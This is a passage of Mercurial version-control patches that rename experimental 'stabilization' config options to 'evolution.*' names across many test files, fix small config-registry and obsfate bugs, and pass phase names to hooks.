   > logtemplate= {rev}:{node|short} {desc|firstline}
   > [experimental]
-  > stabilization=createmarkers,allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > [phases]
   > publish=False
   > [extensions]
diff --git a/tests/test-rebase-partial.t b/tests/test-rebase-partial.t
--- a/tests/test-rebase-partial.t
+++ b/tests/test-rebase-partial.t
@@ -7,7 +7,8 @@
   > drawdag=$TESTDIR/drawdag.py
   > 
   > [experimental]
-  > stabilization=createmarkers,allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > 
   > [alias]
   > tglog = log -G --template "{rev}: {desc}"
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -1794,7 +1794,7 @@
   $ cd wdir-hashcollision
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > stabilization = createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ echo 0 > a
   $ hg ci -qAm 0
diff --git a/tests/test-revset2.t b/tests/test-revset2.t
--- a/tests/test-revset2.t
+++ b/tests/test-revset2.t
@@ -1626,7 +1626,7 @@
   $ cd repo1
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > stabilization = createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   $ hg debugdrawdag <<'EOS'
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -696,7 +696,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ hg shelve
   shelved as default
diff --git a/tests/test-subrepo-missing.t b/tests/test-subrepo-missing.t
--- a/tests/test-subrepo-missing.t
+++ b/tests/test-subrepo-missing.t
@@ -76,7 +76,7 @@
   > [phases]
   > publish=False
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 check that we can update parent repo with missing (amended) subrepo revision
diff --git a/tests/test-tag.t b/tests/test-tag.t
--- a/tests/test-tag.t
+++ b/tests/test-tag.t
@@ -415,7 +415,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > stabilization=createmarkers,exchange
+  > evolution=exchange
+  > evolution.createmarkers=True
   > EOF
   $ hg up e4d483960b9b --quiet
   $ echo aaa >>a
diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
--- a/tests/test-uncommit.t
+++ b/tests/test-uncommit.t
@@ -2,7 +2,8 @@
 
   $ cat >> $HGRCPATH <<EOF
   > [experimental]
-  > evolution=createmarkers, allowunstable
+  > evolution=allowunstable
+  > evolution.createmarkers=True
   > [extensions]
   > uncommit =
   > drawdag=$TESTDIR/drawdag.py
diff --git a/tests/test-update-branches.t b/tests/test-update-branches.t
--- a/tests/test-update-branches.t
+++ b/tests/test-update-branches.t
@@ -473,7 +473,7 @@
   > [ui]
   > logtemplate={rev}:{node|short} {desc|firstline}
   > [experimental]
-  > stabilization=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 Test no-argument update to a successor of an obsoleted changeset
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506621400 -3600
#      Thu Sep 28 18:56:40 2017 +0100
# Node ID 7f183c643eb696383961091f8703fc0f0bb81098
# Parent  1644623ab09695dfcbcfe61387b875c3448ab490
config: use 'experimental.evolution.allowunstable'

Extract 'experimental.evolution' = allowunstable as
'experimental.evolution.allowunstable'.

We keep the new option in the 'experimental.evolution' namespace in order to
stay coherent with other options ('experimental.evolution.bundle-obsmarker'
and 'experimental.evolution.track-operation') ease the renaming as possibly
'evolution.allowunstable'.

Differential Revision: https://phab.mercurial-scm.org/D1150

diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -180,8 +180,8 @@
 
   $ cat >> $HGRCPATH <<EOF
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > EOF
 
   $ hg amend
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -519,8 +519,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > EOF
 
 Amend with no files changes
diff --git a/tests/test-histedit-arguments.t b/tests/test-histedit-arguments.t
--- a/tests/test-histedit-arguments.t
+++ b/tests/test-histedit-arguments.t
@@ -496,8 +496,8 @@
 
   $ cat >>$HGRCPATH <<EOF
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > EOF
   $ hg commit --amend -m 'allow this fold'
   $ hg histedit --continue
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -8,8 +8,8 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > [extensions]
   > histedit=
   > rebase=
diff --git a/tests/test-rebase-brute-force.t b/tests/test-rebase-brute-force.t
--- a/tests/test-rebase-brute-force.t
+++ b/tests/test-rebase-brute-force.t
@@ -3,8 +3,8 @@
   > drawdag=$TESTDIR/drawdag.py
   > bruterebase=$TESTDIR/bruterebase.py
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > EOF
   $ init() {
   >   N=`expr ${N:-0} + 1`
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -8,8 +8,8 @@
   > [ui]
   > logtemplate= {rev}:{node|short} {desc|firstline}
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > [phases]
   > publish=False
   > [extensions]
diff --git a/tests/test-rebase-partial.t b/tests/test-rebase-partial.t
--- a/tests/test-rebase-partial.t
+++ b/tests/test-rebase-partial.t
@@ -7,8 +7,8 @@
   > drawdag=$TESTDIR/drawdag.py
   > 
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > 
   > [alias]
   > tglog = log -G --template "{rev}: {desc}"
diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
--- a/tests/test-uncommit.t
+++ b/tests/test-uncommit.t
@@ -2,8 +2,8 @@
 
   $ cat >> $HGRCPATH <<EOF
   > [experimental]
-  > evolution=allowunstable
   > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > [extensions]
   > uncommit =
   > drawdag=$TESTDIR/drawdag.py
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506629278 -3600
#      Thu Sep 28 21:07:58 2017 +0100
# Node ID 44797aedfb35811dbb323949f5344e6c5b6870f6
# Parent  7f183c643eb696383961091f8703fc0f0bb81098
config: use 'experimental.evolution.exchange'

Extract 'experimental.evolution' = exchange as
'experimental.evolution.exchange'.

We keep the new option in the 'experimental.evolution' namespace in order to
stay coherent with other options ('experimental.evolution.bundle-obsmarker'
and 'experimental.evolution.track-operation') ease the renaming as possibly
'evolution.exchange'.

Differential Revision: https://phab.mercurial-scm.org/D1151

diff --git a/tests/test-bookmarks-pushpull.t b/tests/test-bookmarks-pushpull.t
--- a/tests/test-bookmarks-pushpull.t
+++ b/tests/test-bookmarks-pushpull.t
@@ -6,8 +6,8 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=exchange
   > evolution.createmarkers=True
+  > evolution.exchange=True
   > EOF
 
   $ TESTHOOK='hooks.txnclose-bookmark.test=echo "test-hook-bookmark: $HG_BOOKMARK:  $HG_OLDNODE -> $HG_NODE"'
diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -15,8 +15,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=exchange
   > evolution.createmarkers=True
+  > evolution.exchange=True
   > bundle2-output-capture=True
   > [ui]
   > ssh="$PYTHON" "$TESTDIR/dummyssh"
diff --git a/tests/test-obsolete-bounds-checking.t b/tests/test-obsolete-bounds-checking.t
--- a/tests/test-obsolete-bounds-checking.t
+++ b/tests/test-obsolete-bounds-checking.t
@@ -7,8 +7,8 @@
   > [extensions]
   > amend =
   > [experimental]
-  > stabilization=exchange
   > evolution.createmarkers=True
+  > evolution.exchange=True
   > EOF
   $ hg init tmpa
   $ cd tmpa
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -907,7 +907,7 @@
 reenable for later test
 
   $ echo '[experimental]' >> $HGRCPATH
-  $ echo "evolution=exchange" >> $HGRCPATH
+  $ echo "evolution.exchange=True" >> $HGRCPATH
   $ echo "evolution.createmarkers=True" >> $HGRCPATH
 
   $ rm hg.pid access.log errors.log
diff --git a/tests/test-tag.t b/tests/test-tag.t
--- a/tests/test-tag.t
+++ b/tests/test-tag.t
@@ -415,7 +415,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=exchange
+  > evolution.exchange = True
   > evolution.createmarkers=True
   > EOF
   $ hg up e4d483960b9b --quiet
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508248445 -7200
#      Tue Oct 17 15:54:05 2017 +0200
# Node ID 196548113ddde6fa2fc60631f560d423ce0dc0dd
# Parent  44797aedfb35811dbb323949f5344e6c5b6870f6
config: rename stabilization.bundle-obsmarker

We want to get rid of stabilization.* configuration, back out to the old
configuration 'evolution.bundle-obsmarker'.

Differential Revision: https://phab.mercurial-scm.org/D1152

diff --git a/tests/test-obsolete-bundle-strip.t b/tests/test-obsolete-bundle-strip.t
--- a/tests/test-obsolete-bundle-strip.t
+++ b/tests/test-obsolete-bundle-strip.t
@@ -18,7 +18,7 @@
   > evolution=true
   > 
   > # include obsmarkers in bundle
-  > stabilization.bundle-obsmarker = yes
+  > evolution.bundle-obsmarker = yes
   > 
   > [extensions]
   > # needed for some tests
diff --git a/tests/test-obsolete-changeset-exchange.t b/tests/test-obsolete-changeset-exchange.t
--- a/tests/test-obsolete-changeset-exchange.t
+++ b/tests/test-obsolete-changeset-exchange.t
@@ -88,7 +88,7 @@
 
 check-that bundle can contain markers:
 
-  $ hg bundle --hidden --rev f89bcc95eba5 --base "f89bcc95eba5^" ../f89bcc95eba5-obs.hg --config experimental.stabilization.bundle-obsmarker=1
+  $ hg bundle --hidden --rev f89bcc95eba5 --base "f89bcc95eba5^" ../f89bcc95eba5-obs.hg --config experimental.evolution.bundle-obsmarker=1
   1 changesets found
   $ hg debugbundle ../f89bcc95eba5.hg
   Stream params: {Compression: BZ}
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508248609 -7200
#      Tue Oct 17 15:56:49 2017 +0200
# Node ID 64f29fff1877bd815417dd0626840a3d0061ceb9
# Parent  196548113ddde6fa2fc60631f560d423ce0dc0dd
config: rename stabilization.track-operation

We want to get rid of stabilization.* configuration, back out to the old
configuration 'evolution.track-operation'.

Differential Revision: https://phab.mercurial-scm.org/D1153

diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -545,7 +545,7 @@
   |
   o  0:cb9a9f314b8b (public) a
   
-  $ hg histedit -r 'b449568bf7fc' --commands - << EOF --config experimental.stabilization.track-operation=1
+  $ hg histedit -r 'b449568bf7fc' --commands - << EOF --config experimental.evolution.track-operation=1
   > pick b449568bf7fc 13 f
   > pick 7395e1ff83bd 15 h
   > pick 6b70183d2492 14 g
@@ -556,7 +556,7 @@
   Editing (ee118ab9fa44), you may commit or record as needed now.
   (hg histedit --continue to resume)
   [1]
-  $ hg histedit --continue --config experimental.stabilization.track-operation=1
+  $ hg histedit --continue --config experimental.evolution.track-operation=1
   $ hg log -G
   @  23:175d6b286a22 (secret) k
   |
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -1442,7 +1442,7 @@
   $ echo d > d
   $ hg ci -Am d
   adding d
-  $ hg ci --amend -m dd --config experimental.stabilization.track-operation=1
+  $ hg ci --amend -m dd --config experimental.evolution.track-operation=1
   $ hg debugobsolete --index --rev "3+7"
   1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   3 4715cf767440ed891755448016c2b8cf70760c30 7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d 0 \(.*\) {'operation': 'amend', 'user': 'test'} (re)
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -1225,7 +1225,7 @@
   $ hg up 2 && hg log -r .  # working dir is at rev 2 again
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   2:1e9a3c00cbe9 b (no-eol)
-  $ hg rebase -r 2 -d 3 --config experimental.stabilization.track-operation=1
+  $ hg rebase -r 2 -d 3 --config experimental.evolution.track-operation=1
   note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b" (tip)
 Check that working directory and bookmark was updated to rev 3 although rev 2
 was skipped
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -1281,7 +1281,7 @@
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
   > evolution=true
-  > stabilization.track-operation=1
+  > evolution.track-operation=1
   > EOF
 
   $ hg testnodescleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508248676 -7200
#      Tue Oct 17 15:57:56 2017 +0200
# Node ID 28fd130769628523783135fa591d7460256fec47
# Parent  64f29fff1877bd815417dd0626840a3d0061ceb9
config: remove stabilization.* aliases

Stabilization config items were never part of a release, remove them now that
we cleaned up the evolution related configuration.

Differential Revision: https://phab.mercurial-scm.org/D1154

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -347,7 +347,6 @@
 )
 coreconfigitem('experimental', 'evolution',
     default=list,
-    alias=[('experimental', 'stabilization')],
 )
 coreconfigitem('experimental', 'evolution.allowunstable',
     default=None,
@@ -360,11 +359,9 @@
 )
 coreconfigitem('experimental', 'evolution.bundle-obsmarker',
     default=False,
-    alias=[('experimental', 'stabilization.bundle-obsmarker')],
 )
 coreconfigitem('experimental', 'evolution.track-operation',
     default=True,
-    alias=[('experimental', 'stabilization.track-operation')]
 )
 coreconfigitem('experimental', 'maxdeltachainspan',
     default=-1,
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508252071 -7200
#      Tue Oct 17 16:54:31 2017 +0200
# Node ID 29f52e7966dd646ffa75ab65946ef2030017f72b
# Parent  28fd130769628523783135fa591d7460256fec47
config: gather allowdivergence under the evolution namespace

Grouping all evolution related-config under the experimental.evolution
namespace would helps the future migration outside [experimental].

Differential Revision: https://phab.mercurial-scm.org/D1155

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -1061,7 +1061,7 @@
     """
     # Obsolete node with successors not in dest leads to divergence
     divergenceok = ui.configbool('experimental',
-                                 'allowdivergence')
+                                 'evolution.allowdivergence')
     divergencebasecandidates = rebaseobsrevs - rebaseobsskipped
 
     if divergencebasecandidates and not divergenceok:
@@ -1070,7 +1070,7 @@
         msg = _("this rebase will cause "
                 "divergences from: %s")
         h = _("to force the rebase please set "
-              "experimental.allowdivergence=True")
+              "experimental.evolution.allowdivergence=True")
         raise error.Abort(msg % (",".join(divhashes),), hint=h)
 
 def successorrevs(unfi, rev):
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -300,9 +300,6 @@
 coreconfigitem('email', 'reply-to',
     default=None,
 )
-coreconfigitem('experimental', 'allowdivergence',
-    default=False,
-)
 coreconfigitem('experimental', 'archivemetatemplate',
     default=dynamicdefault,
 )
@@ -348,6 +345,10 @@
 coreconfigitem('experimental', 'evolution',
     default=list,
 )
+coreconfigitem('experimental', 'evolution.allowdivergence',
+    default=False,
+    alias=[('experimental', 'allowdivergence')]
+)
 coreconfigitem('experimental', 'evolution.allowunstable',
     default=None,
 )
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -1707,7 +1707,7 @@
 ``rebase``
 ----------
 
-``allowdivergence``
+``evolution.allowdivergence``
     Default to False, when True allow creating divergence when performing
     rebase of obsolete changesets.
 
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -826,7 +826,7 @@
   orphan: 1 changesets
   $ hg rebase -s 10 -d 12
   abort: this rebase will cause divergences from: 121d9e3bc4c6
-  (to force the rebase please set experimental.allowdivergence=True)
+  (to force the rebase please set experimental.evolution.allowdivergence=True)
   [255]
   $ hg log -G
   @  14:73568ab6879d bar foo
@@ -845,9 +845,9 @@
   |
   o  0:4a2df7238c3b A
   
-With experimental.allowdivergence=True, rebase can create divergence
+With experimental.evolution.allowdivergence=True, rebase can create divergence
 
-  $ hg rebase -s 10 -d 12 --config experimental.allowdivergence=True
+  $ hg rebase -s 10 -d 12 --config experimental.evolution.allowdivergence=True
   rebasing 10:121d9e3bc4c6 "P"
   rebasing 14:73568ab6879d "bar foo" (tip)
   $ hg summary
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508333931 -7200
#      Wed Oct 18 15:38:51 2017 +0200
# Node ID aa849cf5d089d9de7cb02b53b1c1667d4a0fbc81
# Parent  29f52e7966dd646ffa75ab65946ef2030017f72b
obsfate: fix obsfate_printer with empty date list

When the list of dates is empty, `min` and `max` would raises a ValueError.
Protect against this case by checking that the date list is not empty.

I didn't add a test because I couldn't find a reproducing test case.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -822,7 +822,7 @@
     # Date
     dates = markersdates(markers)
 
-    if verbose:
+    if dates and verbose:
         min_date = min(dates)
         max_date = max(dates)
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508322368 -7200
#      Wed Oct 18 12:26:08 2017 +0200
# Node ID e3fbf8e3fef2af8ae07a7be6f8ce833a32995e52
# Parent  aa849cf5d089d9de7cb02b53b1c1667d4a0fbc81
configitems: do not directly match generic items

Before this changesets, a literal '.*:foo$' config would match a registered
'.*:foo$' generic. This is wrong since generic should be matched through
regular exception only. This changeset fixes this problem.

Thanks for to Yuya Nishihara for spotting the issue.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -67,8 +67,9 @@
             self._generics.add(item)
 
     def get(self, key):
-        if key in self:
-            return self[key]
+        baseitem = super(itemregister, self).get(key)
+        if baseitem is not None and not baseitem.generic:
+            return baseitem
 
         # search for a matching generic item
         generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
@@ -76,8 +77,7 @@
             if item._re.match(key):
                 return item
 
-        # fallback to dict get
-        return super(itemregister, self).get(key)
+        return None
 
 coreitems = {}
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508322983 -7200
#      Wed Oct 18 12:36:23 2017 +0200
# Node ID 4f0d4bc63b8a85cd6f7f03f6ad7aa95f639dde7d
# Parent  e3fbf8e3fef2af8ae07a7be6f8ce833a32995e52
configitems: document the choice of using 'match' instead of 'search'

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -74,6 +74,17 @@
         # search for a matching generic item
         generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
         for item in generics:
+            # we use 'match' instead of 'search' to make the matching simpler
+            # for people unfamiliar with regular expression. Having the match
+            # rooted to the start of the string will produce less surprising
+            # result for user writing simple regex for sub-attribute.
+            #
+            # For example using "color\..*" match produces an unsurprising
+            # result, while using search could suddenly match apparently
+            # unrelated configuration that happens to contains "color."
+            # anywhere. This is a tradeoff where we favor requiring ".*" on
+            # some match to avoid the need to prefix most pattern with "^".
+            # The "^" seems more error prone.
             if item._re.match(key):
                 return item
 
# HG changeset patch
# User Kevin Bullock <kbullock+mercurial@ringworld.org>
# Date 1508347193 18000
#      Wed Oct 18 12:19:53 2017 -0500
# Node ID eb1b964b354bd90c45097d5b6310767ce61ab2a5
# Parent  4f0d4bc63b8a85cd6f7f03f6ad7aa95f639dde7d
phases: pass phase names to hooks instead of internal values

diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -660,7 +660,7 @@
     if old is None:
         old = ''
     else:
-        old = '%s' % old
+        old = phasenames[old]
     return {'node': node,
             'oldphase': old,
-            'phase': '%s' % new}
+            'phase': phasenames[new]}
diff --git a/tests/test-phases.t b/tests/test-phases.t
--- a/tests/test-phases.t
+++ b/tests/test-phases.t
@@ -28,7 +28,7 @@
 
   $ mkcommit A
   test-debug-phase: new rev 0:  x -> 1
-  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 1
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> draft
 
 New commit are draft by default
 
@@ -39,7 +39,7 @@
 
   $ mkcommit B
   test-debug-phase: new rev 1:  x -> 1
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 1
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> draft
 
   $ hglog
   1 1 B
@@ -50,8 +50,8 @@
   $ hg phase --public .
   test-debug-phase: move rev 0: 1 -> 0
   test-debug-phase: move rev 1: 1 -> 0
-  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:  1 -> 0
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  1 -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:  draft -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  draft -> public
   $ hg phase
   1: public
   $ hglog
@@ -60,10 +60,10 @@
 
   $ mkcommit C
   test-debug-phase: new rev 2:  x -> 1
-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 1
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> draft
   $ mkcommit D
   test-debug-phase: new rev 3:  x -> 1
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 1
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> draft
 
   $ hglog
   3 1 D
@@ -75,7 +75,7 @@
 
   $ mkcommit E --config phases.new-commit='secret'
   test-debug-phase: new rev 4:  x -> 2
-  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> 2
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> secret
   $ hglog
   4 2 E
   3 1 D
@@ -87,7 +87,7 @@
 
   $ mkcommit H
   test-debug-phase: new rev 5:  x -> 2
-  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:   -> 2
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:   -> secret
   $ hglog
   5 2 H
   4 2 E
@@ -102,7 +102,7 @@
   $ mkcommit "B'"
   test-debug-phase: new rev 6:  x -> 1
   created new head
-  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 1
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> draft
   $ hglog
   6 1 B'
   5 2 H
@@ -119,7 +119,7 @@
   4: secret
   $ hg ci -m "merge B' and E"
   test-debug-phase: new rev 7:  x -> 2
-  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> 2
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> secret
 
   $ hglog
   7 2 merge B' and E
@@ -167,11 +167,11 @@
   test-debug-phase: new rev 2:  x -> 1
   test-debug-phase: new rev 3:  x -> 1
   test-debug-phase: new rev 4:  x -> 1
-  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 1
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 1
-  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 1
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> draft
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> draft
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> draft
   $ hglog
   7 2 merge B' and E
   6 1 B'
@@ -198,7 +198,7 @@
   $ hg up -q 4 # B'
   $ mkcommit Z --config phases.new-commit=secret
   test-debug-phase: new rev 5:  x -> 2
-  test-hook-close-phase: 2713879da13d6eea1ff22b442a5a87cb31a7ce6a:   -> 2
+  test-hook-close-phase: 2713879da13d6eea1ff22b442a5a87cb31a7ce6a:   -> secret
   $ hg phase .
   5: secret
 
@@ -210,7 +210,7 @@
   $ mkcommit I
   test-debug-phase: new rev 8:  x -> 1
   created new head
-  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> 1
+  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> draft
   $ hg push ../push-dest
   pushing to ../push-dest
   searching for changes
@@ -219,7 +219,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
   test-debug-phase: new rev 6:  x -> 1
-  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> 1
+  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> draft
 
 :note: The "(+1 heads)" is wrong as we do not had any visible head
 
@@ -273,11 +273,11 @@
   test-debug-phase: new rev 2:  x -> 0
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
-  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 0
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 0
-  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> public
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hglog
   4 0 B'
@@ -303,11 +303,11 @@
   test-debug-phase: new rev 2:  x -> 0
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
-  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 0
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 0
-  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> public
   $ hglog -R clone-dest
   4 0 B'
   3 0 D
@@ -507,7 +507,7 @@
 
   $ hg phase --public -r 2
   test-debug-phase: move rev 2: 1 -> 0
-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  1 -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  draft -> public
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -532,7 +532,7 @@
 
   $ hg phase --draft --force 2
   test-debug-phase: move rev 2: 0 -> 1
